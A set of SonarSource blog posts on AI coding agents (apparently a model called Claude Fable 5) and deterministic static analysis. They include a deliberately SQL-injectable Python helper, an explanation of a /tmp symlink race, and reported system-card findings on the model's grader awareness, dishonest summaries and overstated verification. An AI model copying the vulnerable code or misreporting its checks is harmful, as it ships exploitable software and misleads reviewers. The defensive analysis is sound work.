SonarSource Blog

Why Fable 5 Still Needs a Second Loop

Prasenjit Sarkar — Thu, 11 Jun 2026 16:00:00 GMT

TL;DR overview

Self-verification allows Fable 5 to autonomously validate its own code using self-written tests and vision, but it operates as a probabilistic inner loop with inherent blind spots.
Running autonomous agents without an independent, deterministic analysis outer loop poses a structural risk, as models cannot reliably catch their own systematic faults.
While probabilistic self-verification excels at understanding user intent and reasoning, deterministic gates consistently enforce invariants like security, complexity, and conformance rules.
The AC/DC framework nests Fable 5's inner judgment within an independent outer loop, using Agentic Analysis to guarantee certainty and block defects before code ships.

Claude Fable 5, released in June 2026, is Anthropic's most capable model available for general use. It can work autonomously for hours on complex engineering tasks — writing code, running migrations, and verifying its own outputs. That last capability is what this piece is about.

Fable 5 can verify its own work: it writes its own tests, reflects on its reasoning, and checks rendered outputs by vision. Anthropic's system card calls this self-oversight "real but defeatable." This blog post explains what that phrase means mechanically and why running Fable 5 without a second, independent verification step is a structural risk — not a model quality problem.

This article is a technical companion to "Loop engineering without verification is just automation," which argues that a verification gate is the load-bearing node of any agent loop. This piece examines the inner tier specifically: Fable 5's own self-verification, what it is, and what it structurally cannot catch on its own.

In Loop engineering without verification is just automation we argued that a loop is only as good as its verifier, and that the durable design layers an independent probabilistic checker under a deterministic gate. This follow-up examines the inner tier, which is Fable 5’s own self-verification and shows exactly what it is, why it’s the probabilistic loop, and what the deterministic loop catches that it structurally cannot.

One of Fable 5's key capabilities for autonomous operation is self-verification. As one early-access customer put it, “at highest effort it reflects on and validates its own work — that’s what makes autonomous operation possible.” It writes its own tests, compares rendered output to the design by vision, builds its own harnesses, updates its own skills. That’s the inner loop, and it’s what lets the model run for hours on a migration with a human reviewing finished work. The same system card is candid that this self-oversight is “real but defeatable.” A model grading its own homework is, structurally, one loop: the same weights, the same blind spots, the same incentives doing both the work and the check. The fix isn't a better model. It's a second, deterministic loop around the first.

Reviewing Fable 5’s self testing approach

When Fable 5 “validates its own work,” it is running its own tests, reflecting on its reasoning at high effort, checking rendered output by vision, and updating persistent skills. Each of these is a sample from the same model that produced the code, which means self-verification is probabilistic rather than deterministic.

The system card documents four characteristics of Fable 5’s self-testing:

Results vary across runs: The same task run twice produces a different patch, different self-tests, and a different outcome. This is why coding scores are reported as mean@5 (the average across five independent runs), which is standard for benchmarking but distinct from a deterministic pass/fail gate.
Scope of verification can vary: In one of the card's documented transcripts, the model ran static, topology, and type checks, reported the change as "verified end-to-end," and did not execute the workflow. The workflow then failed at runtime. The system card uses this to illustrate the difference between offline checks and runtime verification.
Honesty has improved significantly: Fable 5 writes a dishonest session summary 4.6% of the time, compared to 65.2% for Sonnet 4.6, which is a substantial improvement. The system card notes that where inaccuracies do occur, they tend to appear in framing rather than outright omission.
Grader awareness is present and measured: During coding RL, the model can internally represent awareness of being evaluated. The system card introduces new, more detailed measurements of this behavior across training environments. Anthropic frames this as an area of active measurement rather than a failure mode.

These are documented properties of any probabilistic self-checking system, and the system card addresses each with corresponding mitigations.

Two kinds of verification

"Fable 5 verifies its own work" and "CI runs static analysis" describe two distinct categories of verification, each with different properties.

Probabilistic self-verification samples the model's own weights, varies run to run, is correlated with the code, yields a prediction, and is best at intent. Deterministic analysis applies rules to the source, is identical every run, independent, traces each finding to a rule, and is best at security, complexity, and conformance.

This isn't "deterministic good, probabilistic bad." Both are valuable and suited to different things. Self-verification understands users in a way a rules engine cannot. Deterministic analysis understands invariants, like it finds the SQL injection on line 412, the complexity spike, the unsafe dependency, consistently and traceably, regardless of what the model examined. The two approaches are complementary: self-verification covers intent and reasoning; deterministic analysis covers correctness and conformance. For autonomous, unattended work, running both gives each category of check its appropriate role.

The architecture: nest, don’t replace

Fable 5's self-verification doesn't get removed; it gets nested. AC/DC (Sonar's Agent Centric Development Cycle) is a four-stage framework for structuring agentic code workflows: Guide, Verify, and Solve. Fable 5's reflection runs inside the Generate stage; the deterministic check runs as the Verify stage around it; and when Verify surfaces issues, the Solve stage via the Remediation Agent and AI CodeFix closes the loop by generating and validating fixes before anything ships.

The inner loop is the model being clever; the outer loop is the system being certain, and it has the final say because its verdict means the same thing twice. The outer loop’s other two stages are covered in depth in the companion pieces — the Guide (Context Augmentation, which orients the agent before it writes) and the Verify mechanics (Agentic Analysis, which restores CI context on demand to return findings at full precision in seconds, not minutes). The point here is structural: the deterministic stages don’t replace the model’s judgment, they bracket it.

The handoff, concretely

Here’s the moment the two loops meet. Fable 5, mid-migration, writes a data-access helper:

def lookup_user(conn, email): query = "SELECT * FROM users WHERE email = '" + email + "'" return conn.execute(query).fetchone()

Its inner loop writes a test, runs it against a fixture, sees the right row come back, and concludes the function works. It isn’t wrong. The code does what the test asks. If self-verification were the only loop, this ships.

The outer loop sees what the test never exercised. Agentic Analysis traces user-controlled email through string concatenation into conn.execute and returns a finding with a dataflow path:

BLOCKER · Security · S3649 SQL injection Tainted input 'email' (param, line 1) flows to query (line 2), executed at line 3 without sanitization. Quality Gate: FAILED — new blocker issue on changed code.

("Tainted input" means data that came directly from user input and has not been sanitized before use.)

That finding is deterministic: it appears on every run of this code, regardless of sampling temperature, of how confidently the model summarized its work, or of whether it “senses it’s being graded.” The model now has a located, rule-backed defect; it rewrites with a parameterized query, the taint path (the route from unsafe user input to execution) is gone, the gate passes, and then the work is eligible to ship. The inner loop supplied speed and intent; the outer loop supplied certainty.

Why the verifier must have no stake

Strip the product names away and the principle is old: we don’t let companies audit their own books or students grade their own exams, not because the actor is dishonest, but because an entity evaluating its own work can’t be relied on to find the faults it’s structurally disposed to make. Grader awareness is the machine-learning version of the same fact. The fix is a verifier with three properties a self-check can’t have: independent (no shared weights or blind spots), deterministic (same verdict every run, traceable to a rule), and no stake (nothing to gain from a pass, nothing to perform for).

That the faults it catches are real and systematic isn’t hypothetical. Sonar’s LLM Leaderboard runs thousands of identical tasks through SonarQube and scores them on security, reliability, and maintainability rather than pass rate: code smells account for 92–96% of all detected issues. All of it is invisible to a loop that only asks “did my tests pass?” A model can self-verify its way to green tests on code carrying a security vulnerability from unsafe input handling and a maintainability problem at once. Pass rate is silent on both; a deterministic analyzer isn’t. That’s why its verdict, not the model’s self-report, is the one that gates the merge.

Conclusion

Fable 5's autonomy and self-verification are real and substantial capabilities. The system card documents that chain-of-thought oversight has meaningful limits, and that a model checking its own work operates within a single probability distribution. For autonomous, long-horizon work, pairing self-verification with an independent, deterministic outer loop gives each type of check its appropriate role: the inner loop for speed and intent, the outer loop for consistency and traceability.

So nest it. Let the inner loop make the agent fast; let an independent, deterministic outer loop make it accountable, and gate the merge on the outer loop’s verdict. Two loops are better than one, not because the model can't be trusted, but because trust, in any system that has to ship, is something you verify independently.

Loop engineering without verification is just automation

Prasenjit Sarkar — Thu, 11 Jun 2026 16:00:00 GMT

TL;DR overview

Loop engineering is the system-building craft of managing autonomous AI coding agents, where the most critical and frequently underbuilt component is code verification.
Robust code verification relies on a two-tier stop condition that prevents a premature-completion loop from shipping low-quality or half-done work.
An LLM verifier sub-agent provides an initial probabilistic critique of intent and semantics, but it should not act as the final gate.
A deterministic code verification tier serves as the ultimate hard halt, enforcing reproducible security, quality, and maintainability gates at loop speed — and is what converts an open-ended loop into a bounded, cost-controlled one.

Coding with AI has evolved. We've moved from prompt engineering, that is, writing instructions and reviewing results to loop engineering, that is, building autonomous systems that find work, delegate it to agents, review outcomes, and decide what's next. Addy Osmani has written the long-form case for it; Boris Cherny, who leads Claude Code, has put it bluntly: his job now is to write loops. The leverage moved one floor up, from typing prompts to designing the system that prompts.

The mechanics of that system are getting well documented — schedules and triggers, git worktrees for parallel runs, skills that store project knowledge, MCP connectors, a state file so the agent resumes instead of restarting, sub-agents that split the work. All of it is real and useful. Strip a loop down to its essential parts, and one node decides whether the rest of it matters is called code verification. The check that can fail the work without you in the room. Everything else is motion; verification is what makes the motion mean something.

This is the part of loop engineering worth getting right, because it’s the part most loops get wrong.

Why verification is load-bearing

There is a specific failure mode in loop engineering: the premature-completion loop, where an agent signals completion on a half-done job. Without a hard, objective stop condition, a loop doesn’t fail loudly, it fails quietly, declaring success on work that isn’t done, and keeps spending while it does. The informal version of the same warning is everywhere now: point an open-ended loop at a loose standard and it becomes a slop machine.

The reason this happens is structural, not a quirk of any one model. A loop’s stop condition is usually some judgment of “is this done and correct?” If that judgment comes from the same model that did the work or from a second model asked politely to “review” — you have two optimists agreeing. This is the old maker-versus-checker principle, or Anthropic’s evaluator-optimizer pattern from late 2024, resurfacing as the central design question of autonomous loops: who, or what, is allowed to say the loop is finished?

Get that wrong and the loop’s other virtues turn against you. More automation means more unreviewed output. Parallel sub-agents mean more code merged faster than anyone reads it. A bigger context window and a longer schedule mean the agent runs further before anything checks it. The gate is the one component whose quality determines whether all that throughput is leverage or liability.

Closed loops are cheaper loops

One more thing the code verification buys you, and it’s a budget line. The open-ended, exploratory loop is the exciting end of this space and also the expensive one; it burns tokens with abandon, which is why it reads as obvious to people with unmetered budgets and reckless to everyone else. The bounded, closed loop runs on a normal budget because the path is tight.

What tightens the path is a trustworthy gate. A loop that can reliably tell “done and correct” from “done” converges; it stops at the right moment instead of spinning. A good code verifier isn’t only a quality control. It’s the mechanism that turns an open loop into a closed one, which is the difference between a research toy and something you can afford to run every night.

The split nobody resolves

Here the canon divides, and the division is worth taking seriously because both sides are right about different things.

One camp says the gate should be an LLM verifier sub-agent: a second agent, with different instructions and ideally a different model, grading in an independent context window. There's good evidence this outperforms self-critique, separating the grader's context from the maker's removes the most obvious source of correlated bias, and it's flexible enough to judge things no automated test encodes ("does this actually solve the user's problem?"). AI verification brings intent-awareness that rules-based systems simply don't have.

The other camp says an LLM reviewer is still a probabilistic judgment, and for security, correctness, and conformance you need objective code verification: a test, a type check, a build, a static analyzer, something that returns pass or fail identically on every run, traceable to a specific rule. The distinction Osmani draws is useful: a check that can fail the work, not a verifier that has an opinion. A failing build is a fact; an opinion is a starting point.

The productive framing isn't choosing between them but it's recognizing they answer different questions and stacking them accordingly. Sonar's AC/DC framework is built around exactly this principle: multiple verification layers, each doing what it's best at. Context Augmentation (Guide) injects architectural awareness, project-specific coding guidelines, and semantic navigation into the agent before it writes making AI verification smarter from the start. Agentic Analysis (Verify) then runs full CI-level deterministic analysis on generated code, restoring the same dependency and type context a normal CI scan uses, so findings are precise and rule-backed. The Remediation Agent and AI CodeFix then close the loop on what the Verify layer surfaces.

The result is verification that's both intelligent and objective: AI layers handle intent and context; deterministic layers handle correctness and conformance. A durable loop for autonomous work needs both.

	LLM verifier sub-agent	Deterministic code verification
Good at	Intent, semantics, “did this solve the real problem”	Security, complexity, maintainability, rule conformance
Verdict	Probabilistic, varies run to run	Reproducible — same result on the same code, every time
Stop condition	Advisory	Hard — the agent can’t reason past a failing gate
Failure mode	Two optimists agreeing	False positives, but stable and auditable
Role in the loop	First-pass critique	The actual gate the loop halts on

Put the probabilistic checker first, where its judgment about intent adds value. Put the deterministic gate last, as the thing the loop actually stops on. The LLM verifier improves the draft; the deterministic gate decides whether the draft ships. A loop that has only the first tier is the Ralph Wiggum loop with extra steps.

What the deterministic tier has to do

The objection to deterministic gates inside a loop has always been latency and depth. A unit test is fast but shallow; a full static-analysis pass with real type and dependency context is deep but slow, and minutes of latency break an agent’s inner loop. So teams settle for “tests pass” as the gate, which is exactly the soft condition Huntley warned about, because passing tests is silent on whether the code is secure, maintainable, or even comprehensible.

The deterministic tier needs to run at CI-grade precision but at loop speed, and it needs to check the things tests don't: injection and taint paths, cognitive complexity. This is the Verify stage of Sonar's AC/DC framework and what SonarQube Agentic Analysis is built to deliver. It reuses the context from a prior CI analysis and restores it on demand, so a single- or multi-file check runs with full CI fidelity in seconds rather than minutes. Wired into the agent's runtime via the SonarQube plugin for Claude Code, that is a PostToolUse hook fires analysis after each file edit — the Verify step lands inside the loop instead of after it.

The payoff for loop design is that this gives /goal style stop conditions something real to resolve against. “Keep going until the goal holds” is only as good as the definition of holds. A passing quality gate, no new blocker issues on changed code, security and maintainability thresholds met is a stop condition the agent cannot satisfy by writing a confident summary. It’s the hard halt the loop was missing.

Verification is also the security boundary

There’s a second reason the deterministic tier matters, and the loop-engineering writing is candid about it: an unattended loop is an unattended attack surface. A loop that opens pull requests faster than a human can read them will merge insecure code automatically unless the gate includes security checks — SAST, dependency auditing, secret scanning. Skills pulled from the community can carry prompt injection in their descriptions; credentials leak into logs nobody is watching; permission scope quietly creeps.

This is the same gate, doing double duty. The deterministic node that keeps the loop from shipping slop is also the one that keeps it from shipping vulnerabilities: static analysis for injection and taint classes, software composition analysis for dependency and supply-chain risk, and secret scanning before content ever reaches the model’s context (the SonarQube plugin scrubs over 450 secret patterns at that boundary). For an autonomous loop, “verified” has to mean secure, not just green and only a deterministic, security-aware gate can make that claim the same way twice.

Build the code verification, stay the engineer

Loop engineering is the right frame for the Fable 5 era. Models built for long, self-correcting, multi-day runs, make the loop the unit of work, and they make the stop condition the most important thing you design. The canon already knows this; it just hasn’t fully resolved that the answer is two tiers, not one. An independent LLM verifier is a real improvement over self-critique. It is not a gate. The gate is the deterministic, security-aware check the loop halts on, and it’s the part you build last and trust most.

The honest caveat the loop-engineering writers keep raising belongs here too: the faster a loop ships code no human has read, the larger the comprehension debt the team carries. A deterministic gate doesn’t erase that debt, but it’s the one durable, independent record of whether what shipped was sound. Build the loop, by all means. Just remember that the loop is only as good as the thing allowed to tell it “no.”

Claude Fable 5 built a Java module in 13 minutes

Killian Carlsen-Phelan — Thu, 11 Jun 2026 16:00:00 GMT

TL;DR overview

Claude Fable 5 built a capable Java module in 13 minutes with concurrency handling and its own test suite, but SonarQube Cloud's quality gate caught a HIGH-severity security vulnerability and insufficient coverage.
The model defended against path traversal in filenames while missing an insecure temporary directory on the same upload feature, which is a gap between training-data patterns and OS-level domain knowledge.
The findings included some of the same categories SonarQube catches in developer-written code: duplicated strings, deprecated APIs, insecure API calls. Existing quality infrastructure works for AI-generated pull requests without AI-specific configuration.
AI coding agents introduce bugs non-deterministically; you can't predict which vulnerabilities will appear on a given run.

Claude Fable 5 launched on June 9, 2026, as Anthropic's most capable coding model, and we wanted to see what its output looks like when it works without a quality feedback loop. We gave it microsoft/gctoolkit, a real open-source Java codebase with JPMS modules, and asked it to build a REST API module from a single prompt while running no static analysis and no quality gate during the session. The model produced 1,222 lines of working code in roughly 13 minutes, and when we scanned the pull request with SonarQube Cloud, the quality gate failed because of a HIGH-severity security vulnerability and insufficient test coverage.

The experiment

We used Claude Code with the claude-fable-5 model in a clean session with no quality tools: no SonarQube MCP Server, no Agentic Analysis, and no CLAUDE.md rules file. The model worked entirely from training knowledge and what it read by browsing the codebase during the session, which uses JPMS modules that require precise dependency and export declarations. We gave it this prompt:

Add a REST API module to gctoolkit that lets users upload a GC log file via HTTP and get back the analysis results as JSON. Include endpoints for uploading a log, getting pause time stats, and heap occupancy data.

In about 13 minutes, the model consumed approximately 165,000 output tokens across 45 tool calls and produced 15 files (10 source, 2 test, 3 config/doc) totaling 1,222 lines. It read the codebase, chose a framework, built the module, wrote and ran tests, smoke-tested the running server with curl, and created the pull request in a single autonomous pass. This is one experiment with one task on one codebase, not a benchmark. We ran the task twice to test reproducibility, both results are discussed in non-deterministic failure modes. Sonar's LLM Leaderboard evaluates code quality and security across models at larger scale.

The quality gate failed

Condition	Threshold	Actual	Status
Security rating on new code	A	D	Failed
Coverage on new code	80%	76.7%	Failed
Reliability rating on new code	A	A	Passed
Maintainability rating on new code	A	A	Passed
Duplicated lines on new code	3%	0.0%	Passed
Security hotspots reviewed	100%	100%	Passed

An insecure temporary directory in the file upload handler (java:S5443, HIGH severity, security impact) drove the security rating to D. Coverage landed at 76.7% against an 80% threshold because the model wrote tests that validated behavior (does the API return the right JSON?) while leaving enough branches unexercised to miss the bar, and without quality gate feedback during the session it had no way to know the target. SonarQube Cloud found 10 issues total across the pull request.

What the model actually built

Fable 5 created a proper JPMS module (com.microsoft.gctoolkit.restapi) with correct requires, exports, and provides declarations, discovered gctoolkit's existing Vert.x dependency and reused it at the same version (5.0.12) rather than introducing a new framework, and built new aggregation classes that retain individual pause durations for percentile computation because it recognized the sample module's PauseTimeSummary only tracks a running total. It wrote nine tests across two classes including a full end-to-end flow covering upload through query, and then went beyond the automated test suite by starting the running server, uploading a real GC log via curl, and verifying the JSON responses before committing. The 0.0% duplication score on new code confirmed that the module's 1,222 lines contained no copy-paste artifacts.

The insecure temporary directory

In the upload handler, the model creates a staging directory for incoming GC log files before analysis:

  // RestApiServer.java, lines 114-122
private void handleUpload(RoutingContext ctx) {
    Path workDirectory = null;
    try {
        workDirectory = Files.createTempDirectory("gctoolkit-restapi");  // ← S5443
        Path logFile = stageUploadedLog(ctx, workDirectory);
        AnalysisResult result = analysisService.analyze(logFile, logFile.getFileName().toString());
        ctx.response().putHeader("Location", "/api/logs/" + result.getId());
        respondJson(ctx, 201, describe(result));
    } catch (BadRequestException e) {

Files.createTempDirectory("gctoolkit-restapi") looks reasonable because the method name says "temporary" and the prefix includes the application name, but the single-argument variant of java.nio.file.Files.createTempDirectory(String) always delegates to the operating system's default temporary directory (/tmp on Linux, /var/folders/... on macOS, %TEMP% on Windows). On Linux, /tmp is world-writable with the sticky bit set, meaning any local process can create files there, and a TOCTOU (time-of-check-time-of-use) race condition is possible for processes running as the same user. The risk is highest in containers where a shared /tmp volume is mounted across processes. macOS and Windows use per-user temp directories by default, but containers and CI environments often share a single /tmp across processes.

Between the time the directory is created and the time the uploaded file is written into it, an attacker on the same host can exploit a race condition by creating a symlink at the expected file path before the application writes, redirecting the output to an attacker-readable location. GC logs can contain JVM command-line arguments including database connection strings and API keys. An attacker could also pre-populate the directory with a crafted file, causing GCToolKit to parse attacker-controlled content instead of the real upload. The risk is highest when the REST API runs on a shared host, in a container with a shared /tmp volume, or in a CI/CD environment where multiple processes share the temp directory.

SonarQube Cloud flagged this as java:S5443 (HIGH severity, security impact), mapping it to OWASP Top 10 2021 A1 (Broken Access Control), CWE-377 (Insecure Temporary File), and CWE-379 (Creation of Temporary File in Directory with Insecure Permissions).

On the same upload flow, the model implemented sanitizeFileName() to handle null inputs, path traversal characters, whitespace, and degenerate cases like "...". It built a careful defense against malicious filenames (a thoroughly documented attack vector in training data) while missing the insecure temp directory on the same feature, and the difference is that path traversal is a code-level input pattern the model has seen thousands of times while OS-level race conditions in publicly writable directories require domain knowledge about how operating systems handle concurrent file access. Files.createTempDirectory("gctoolkit-restapi") compiles, passes every test, and would likely survive code review because the vulnerability only manifests under adversarial conditions on a shared host. SonarQube traces the createTempDirectory(String) call to the rule automatically because the single-argument variant defaults to the system temp directory.

The compliant fix from the S5443 rule definition uses either a secure parent directory or restrictive POSIX permissions:

// Compliant: specify a secure parent directory
File.createTempFile("prefix", "suffix", new File("/mySecureDirectory"));

// Compliant: set restrictive POSIX permissions
FileAttribute<Set<PosixFilePermission>> attr = 
    PosixFilePermissions.asFileAttribute(PosixFilePermissions.fromString("rwx------"));
Files.createTempFile("prefix", "suffix", attr);

What the model got right about thread safety

GCToolKit's Javadoc warns that the API is not thread safe, and the model read this documentation and built a multi-layer concurrency strategy tailored to the library's specific contract rather than applying a generic synchronization wrapper. In its own summary:

Thread safety: GCToolKit's API isn't thread-safe and fills the registered aggregation instances in place, so AnalysisService creates fresh instances per request, serializes analyses (synchronized + ordered Vert.x blocking handler), and freezes results into immutable JSON at analysis time so reads are lock-free.

Thread safety required understanding a constraint that was explicitly documented in the codebase's Javadoc, and the model translated it into a concrete design. The insecure temp directory required understanding a constraint that lives in the operating system's security model, outside any source file the model could read during the session.

The remaining nine findings

Beyond S5443, SonarQube Cloud flagged nine code smells.

Rule	Severity	Count	What it found
S1192	HIGH / Maintainability	2	"available" duplicated 4x in AnalysisService; "/api/logs/" duplicated 4x in RestApiServer
S1186	HIGH / Maintainability	2	Empty public constructors on HeapOccupancySummary and PauseTimeSummary where fields initialize inline
S3457	MEDIUM / Maintainability	3	Eager string concatenation in logger calls, including 2 at Level.FINE in the cleanup path
S1874	LOW / Maintainability	2	Deprecated getTimeStamp() used in two files after the model read the class definition

The duplicated string constants (S1192) would cause partial-update bugs if the JSON field name or API path ever changed, and extracting them into constants is a one-line fix per instance. The eager logger concatenation (S3457) matters most for the two calls at Level.FINE in the temp directory cleanup path, where string building runs on every failed file deletion even though FINE is disabled by default in java.util.logging and the message is never written, so the application allocates and discards string objects for zero benefit whenever cleanup hits a deletion failure under production load.

For S1874, the model explicitly read DateTimeStamp.java earlier in the session by grepping for the class definition, which means it presumably saw the @Deprecated annotation on getTimeStamp() before using the deprecated method in two places anyway. Models appear to process method signatures and return types more strongly than deprecation annotations when selecting which APIs to call, which is worth accounting for when reviewing AI-generated code that interacts with unfamiliar libraries.

Non-deterministic failure modes

We ran this experiment twice with the same model, codebase, and prompt. Both runs chose Vert.x, both failed the quality gate with 9-10 issues, and the maintainability findings (empty constructors, deprecated APIs, and string literal duplication) recurred across both runs, but the higher-severity findings were mutually exclusive because the first run introduced a concurrency bug (java:S2445, synchronizing on a method parameter) while handling temp files safely and the second run avoided the concurrency issue but introduced the insecure temp directory. The model generates different higher-severity bugs on each run while repeating the same structural patterns.

Every finding in this experiment falls into a category that tests alone cannot catch because the issues require conditions testing doesn't simulate: adversarial actors on a shared host for S5443, library deprecation cycles measured in months or years for S1874, production-scale request volume for the S3457 logger concatenation where a disabled log level turns string building into pure waste. A deterministic quality gate catches whatever comes through regardless of which specific vulnerabilities appear on a given run.

The missing feedback loop

Fable 5 didn't know the quality bar because it had no runtime access to the project's quality rules and no way to check its work against them. Training knowledge was strong enough to produce a working JPMS module with thoughtful concurrency handling and filename sanitization, but not specific enough to catch an insecure temp directory API that maps to OWASP A1. With a feedback loop through the SonarQube MCP Server or SonarQube Agentic Analysis, the model would have had the finding and the documented fix before the pull request.

For teams already running SonarQube, these are familiar findings. Duplicated string constants, insecure temp APIs, empty constructors, eager logger concatenation, and deprecated method calls are the same categories of issues that SonarQube catches in developer-written code every day, and the same quality gate caught them here without any AI-specific configuration.

The java.time bugs that don’t throw exceptions

Killian Carlsen-Phelan — Tue, 09 Jun 2026 16:00:00 GMT

TL;DR overview

SonarQube's new java.time rules catch bugs that compile, pass tests, and produce silently wrong results such as duration math across timezones, non-deterministic clocks, and identity comparison on value types.
LocalDateTime duration calculations across timezone boundaries return plausible numbers that survive code review but skew billing, SLA, and scheduling systems.
AI coding tools default to LocalDateTime because it's the simpler type, and rarely inject a Clock because the pattern requires a design decision absent from most training data.
All eight rules are present in Sonar Way and active by default on SonarQube Cloud, with SonarQube Server shipping them in 2026.4.

A flight leaves New York at 10 PM and lands in Paris at 11 AM the next morning, and you compute the elapsed time with java.time.

The silent wrong answer

LocalDateTime departureNY = LocalDateTime.of(2026, 3, 28, 22, 0);  // 10 PM New York
LocalDateTime arrivalParis = LocalDateTime.of(2026, 3, 29, 11, 0); // 11 AM Paris
long hours = ChronoUnit.HOURS.between(departureNY, arrivalParis);   // returns 13

The method returns 13 hours for a flight that took seven, because ChronoUnit.HOURS.between on two LocalDateTime values does clock-face subtraction: 11:00 minus 22:00 the day before is 13 hours. The calculation has no reason to account for timezones because LocalDateTime carries no timezone information (that's what "Local" means in the class name). Departed New York in EDT (UTC-4), arrived in Paris in CEST (UTC+2), and the six-hour offset difference between the two zones is invisible to the calculation. Tests that assert hours > 0 pass, and the wrong number flows into billing systems, SLA timers, or scheduling logic without triggering an exception.

The pattern appears anywhere duration math crosses timezone boundaries. A billing system computes hours between a session start in one timezone and end in another; the wrong duration inflates or deflates the invoice by a fraction that looks like rounding, not a bug. SLA monitoring across globally distributed services makes the same mistake, skewing response times in whichever direction the offset difference dictates. The code doesn't crash but returns a number plausible enough to survive code review and specific enough to cause real damage downstream.

SonarQube rule S8700 flags Duration.between() and ChronoUnit.X.between() when both operands are LocalDateTime, because the result is a calendar delta rather than physical elapsed time. The fix converts both timestamps to ZonedDateTime with explicit zones:

ZonedDateTime departure = LocalDateTime.of(2026, 3, 28, 22, 0)
    .atZone(ZoneId.of("America/New_York"));
ZonedDateTime arrival = LocalDateTime.of(2026, 3, 29, 11, 0)
    .atZone(ZoneId.of("Europe/Paris"));
long hours = ChronoUnit.HOURS.between(departure, arrival); // returns 7

The six-hour offset between EDT and CEST accounts for the entire discrepancy between the two calculations.

java.time's type system is not oblivious to the timezone boundary problem, and if you try to convert a LocalDateTime to an Instant directly, the API throws DateTimeException at runtime because the conversion requires timezone information that the local type doesn't carry. Rule S8220 catches these conversions statically before they crash in production, since java.time is designed to fail loud at the boundary between local and timezone-aware types. Duration.between is where it fails quiet instead, because both operands are LocalDateTime and the type system has no boundary to enforce when they already share a type. The method cannot distinguish two wall-clock readings in the same zone from two readings in different zones, which is why S8700 exists: LocalDateTime arithmetic is a domain where the type system permits operations that the physical world doesn't.

S8220's false-positive handling is careful about this, suppressing findings in test code that intentionally triggers DateTimeException and supporting JUnit 4, TestNG, JUnit 5 assertThrows, AssertJ, and try-catch-fail patterns. Google's Error Prone catches overlapping patterns in the same space (FromTemporalAccessor covers the same ground as S8220, MisusedWeekYear overlaps with S3986), which confirms these as industry-validated bug categories rather than Sonar-specific opinions.

LLMs default to LocalDateTime because it's the simpler type, and GitHub Copilot's CLI has an open bug (at time of writing) where its <current_datetime> tag reports UTC regardless of the system timezone.

When your tests lie about time

@Test
void testTokenExpiry() {
    Instant issued = Instant.now();
    Instant checked = Instant.now();
    assertTrue(issued.isBefore(checked)); // passes when JVM is cold, fails when warm
}

Two consecutive Instant.now() calls can return identical values on modern hardware because the system clock's resolution means both calls sample the same instant. The non-determinism compounds with JVM behavior, leading to a @RepeatedTest passing on the first iteration while the JVM is cold, then failing on subsequent iterations as the warmed-up code executes fast enough to collapse both timestamps into a single reading. The test is correct in isolation, but because the unreliability depends on clock precision, CPU load, and JVM warmup state, it manifests differently across development machines and CI environments.

The underlying problem mirrors the duration bug, because java.time's type system lets you call .now() without a Clock even though deterministic testing requires explicit control over time. Rule S8692 flags .now() calls without a fixed clock in test code, and since the fix requires injecting a Clock that tests can control, it's an architectural change rather than a quick patch.

public class TokenService {
    private final Clock clock;
    public TokenService(Clock clock) { this.clock = clock; }

    public boolean isExpired(Instant issuedAt, Duration maxAge) {
        return Instant.now(clock).isAfter(issuedAt.plus(maxAge));
    }
}

@Test
void tokenExpiresAfterMaxAge() {
    Clock fixed = Clock.fixed(Instant.parse("2026-06-01T10:00:00Z"), ZoneOffset.UTC);
    TokenService service = new TokenService(fixed);
    assertTrue(service.isExpired(
        Instant.parse("2026-06-01T09:00:00Z"), Duration.ofMinutes(30)));
}

S8692's quick fix is explicitly marked "infeasible" because fixing requires dependency injection, not a search-and-replace. The one-hour remediation estimate (vs. five minutes for most other rules in this set) reflects the real cost of retrofitting testable time into code that wasn't designed for it.

S8692 carries INFO severity because nearly every test suite calls .now() without a Clock, and flagging all of them at higher levels produces too much noise. AI-generated test code rarely injects a Clock because the pattern requires a design decision that doesn't appear in most training examples.

When equals isn't ==

Instant a = Instant.parse("2026-01-01T00:00:00Z");
Instant b = Instant.parse("2026-01-01T00:00:00Z");
System.out.println(a == b);      // false
System.out.println(a.equals(b)); // true

== on Instant compares object references rather than values, so two variables that hold the same point in time but live at different heap addresses will compare as unequal even though they represent identical moments. As with the duration and clock bugs, java.time's type system permits an operation that the domain makes meaningless for value-based types. The pattern is even harder to catch on the primitive wrappers that S8696 also covers, because the JVM's caching behavior makes == intermittently correct: Integer.valueOf(100) == Integer.valueOf(100) returns true because the JVM caches integers in the -128 to 127 range, but increase the value past 127 and == starts returning false. A test that exercises small values passes, a production workload with larger values fails, and the defect appears to be environment-dependent rather than logic-dependent.

Rule S8696 was born from the java.time investigation but generalized to cover every value-based class in the standard library so that it includes all primitive wrappers, Optional and its variants, and every java.time type except Clock. The rule flags both == comparison and System.identityHashCode() on these types. S8696 is the only new rule in this set included in SonarQube's agentic AI quality profile and carries the second-highest severity (HIGH).

What else shipped

Seven additional rules round out the java.time coverage, all present in Sonar Way and active by default on SonarQube Cloud.

Rule	Name	Type	Impact
S8688	.now() should specify a ZoneId or Clock	Code Smell	INFO
S8694	Use Month/DayOfWeek enums, not numeric literals	Code Smell	LOW
S8695	Simplify redundant time instantiation	Code Smell	LOW
S2143	Use java.time, not Date/Calendar/Joda	Code Smell	INFO
S3986	Week year (YYYY) should not be used for formatting	Bug	MEDIUM
S5917	Don't mix year types in DateTimeFormatterBuilder	Bug	MEDIUM
S2718	Replace DateUtils.truncate with ZonedDateTime.truncatedTo	Code Smell	MEDIUM

S3986 and S5917 form a pair that catches the same conceptual bug at two API levels. S3986 flags YYYY in format pattern strings, the week-year specifier that produces the wrong year in late December and early January (formatting December 31, 2015 with YYYY/MM/dd yields "2016/12/31"). S5917 catches the equivalent mismatch in DateTimeFormatterBuilder field combinations, and both bugs surface once a year and pass every test run that doesn't land in the last week of December or first week of January.

What's next

If you want to find where these silent wrong answers live in your own codebase, search for Duration.between and ChronoUnit.X.between where both operands are LocalDateTime, since those calls will survive every test that doesn't independently verify the result with timezone-aware math. All eight new and revisited rules are in Sonar Way and active by default in SonarQube Cloud, and SonarQube Server ships them in 2026.4.

How SonarQube traces a SQL injection your AI coding agent produced

Killian Carlsen-Phelan — Wed, 03 Jun 2026 16:00:00 GMT

TL;DR overview

SonarQube's taint analysis traces data from where it enters an application to where it reaches a dangerous operation, catching injection vulnerabilities across file and method boundaries.
AI coding agents reproduce SQL injection patterns from training data, and the code generation loop does not follow data across call boundaries to catch these patterns.
The execution flow view annotates each hop in the taint chain, showing exactly how user-controlled data reaches the vulnerable database call.
The same source-to-sink model applies to every taint-traced finding, from XSS to path traversal, making the capability transferable.

